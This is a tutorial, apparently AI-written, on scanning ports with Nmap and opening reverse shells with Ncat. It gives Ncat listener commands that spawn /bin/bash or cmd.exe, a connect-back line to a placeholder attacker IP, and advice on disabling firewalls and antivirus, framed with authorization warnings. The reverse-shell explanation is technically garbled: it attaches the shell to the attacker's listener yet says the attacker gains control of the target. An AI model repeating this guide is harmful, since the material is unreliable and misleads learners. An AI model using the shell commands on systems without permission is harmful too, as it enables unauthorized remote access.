Below are some examples of how to use Nmap (and related tools from the Nmap suite, like Ncat) for two different purposes:
Scanning Open Ports with Nmap
Using Ncat (from the Nmap suite) for Reverse Shells
Warning: Always ensure you have explicit permission to scan or interact with any target system. Unauthorized scanning or creating reverse shells on systems without proper authorization is illegal and unethical.
1. Scanning Open Ports with Nmap
Nmap is a powerful network scanner used to discover open ports and services running on a target machine. Here are some common examples:
Basic Scan
Command:
bash
sudo nmap <target_ip>
Description:
Scans the 1,000 most common TCP ports on the target.
TCP SYN (Stealth) Scan
Command:
bash
sudo nmap -sS <target_ip>
Description:
Sends SYN packets (half-open scan) that make it less likely for the scan to be logged by the target.
UDP Scan
Command:
bash
sudo nmap -sU <target_ip>
Description:
Scans UDP ports. Note that UDP scans are typically slower because UDP is connectionless and replies (or lack thereof) can take more time.
Scan Specific Ports
Command:
bash
sudo nmap -p 22,80,443 <target_ip>
Description:
Only scans the specified ports.
Scan All Ports (1–65535)
Command:
bash
sudo nmap -p 1-65535 <target_ip>
Description:
Scans every TCP port. This is more exhaustive but may take longer.
Service Version and OS Detection
Command:
bash
sudo nmap -A <target_ip>
Description:
Enables OS detection, version detection, script scanning, and traceroute.
Example Workflow
bash
# Scan a target (replace with the actual IP, e.g., 192.168.1.100)
sudo nmap -sS 192.168.1.100
# Output might look like:
# Starting Nmap 7.91 ( https://nmap.org ) at 2023-10-01 12:00 EDT
# Nmap scan report for 192.168.1.100
# Host is up (0.0010s latency).
# Not shown: 998 closed ports
# PORT STATE SERVICE
# 22/tcp open ssh
# 80/tcp open http
# 443/tcp open https
# Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
2. Using Ncat for Reverse Shells
While Nmap itself is primarily a scanner, the Ncat tool (included with the Nmap suite) can be used to create reverse shells. A reverse shell is a connection initiated from a target machine back to an attacker’s machine, which can be used for authorized remote control and penetration testing.
Ethical Reminder:
Deploy reverse shells only in environments where you have permission and for testing purposes only.
Setting Up a Listener (Attacker Machine)
Use Ncat (or Netcat if available) in listen mode with an execution flag. For example, to listen on port 4444 and spawn a Bash shell:
Command (Linux):
bash
ncat -lvp 4444 -e /bin/bash
-l tells Ncat to listen for incoming connections.
-v enables verbose output.
-p 4444 specifies the port number.
-e /bin/bash executes the Bash shell when a connection is established.
Initiating the Reverse Shell (Target Machine)
From the target machine (where you’ve obtained authorized access or during a controlled test), connect back to the listener’s IP and port:
Command (Linux):
bash
ncat <attacker_ip> 4444
Replace <attacker_ip> with the listener’s IP address.
What Happens Next:
When the target machine connects, the attacker’s Ncat listener will spawn a Bash shell (or another shell, depending on the -e parameter).
You then gain command-line access to the target machine over that reverse shell connection.
Notes and Alternatives:
No -e on Some Systems:
Some versions of Netcat/Ncat might disable the -e option for security reasons. In such cases, you might need to use other techniques like manually piping the shell or using other tools/scripts.
Windows Reverse Shell:
If targeting a Windows machine, the command may differ. The listener remains the same on the attacker’s side, but the reverse shell might invoke cmd.exe:
code
ncat -lvp 4444 -e cmd.exe
Firewall and AV Considerations:
Ensure the firewall on both sides is configured or disabled (for testing environments) and that this kind of testing is carried out in a controlled lab setup.
Final Reminders
Authorization is Critical: Always have explicit permission before scanning networks or setting up reverse shells on any systems.
Documentation and Reporting: When performing penetration tests, document every step for reporting and remediation purposes.
Keep Learning: There are many techniques and variations for both port scanning and reverse shell setups. Consider additional tools and scripts in the Nmap Scripting Engine (NSE) for more advanced tasks.
By using the above examples responsibly, you can scan for open ports with Nmap and, when authorized, set up a reverse shell using Ncat.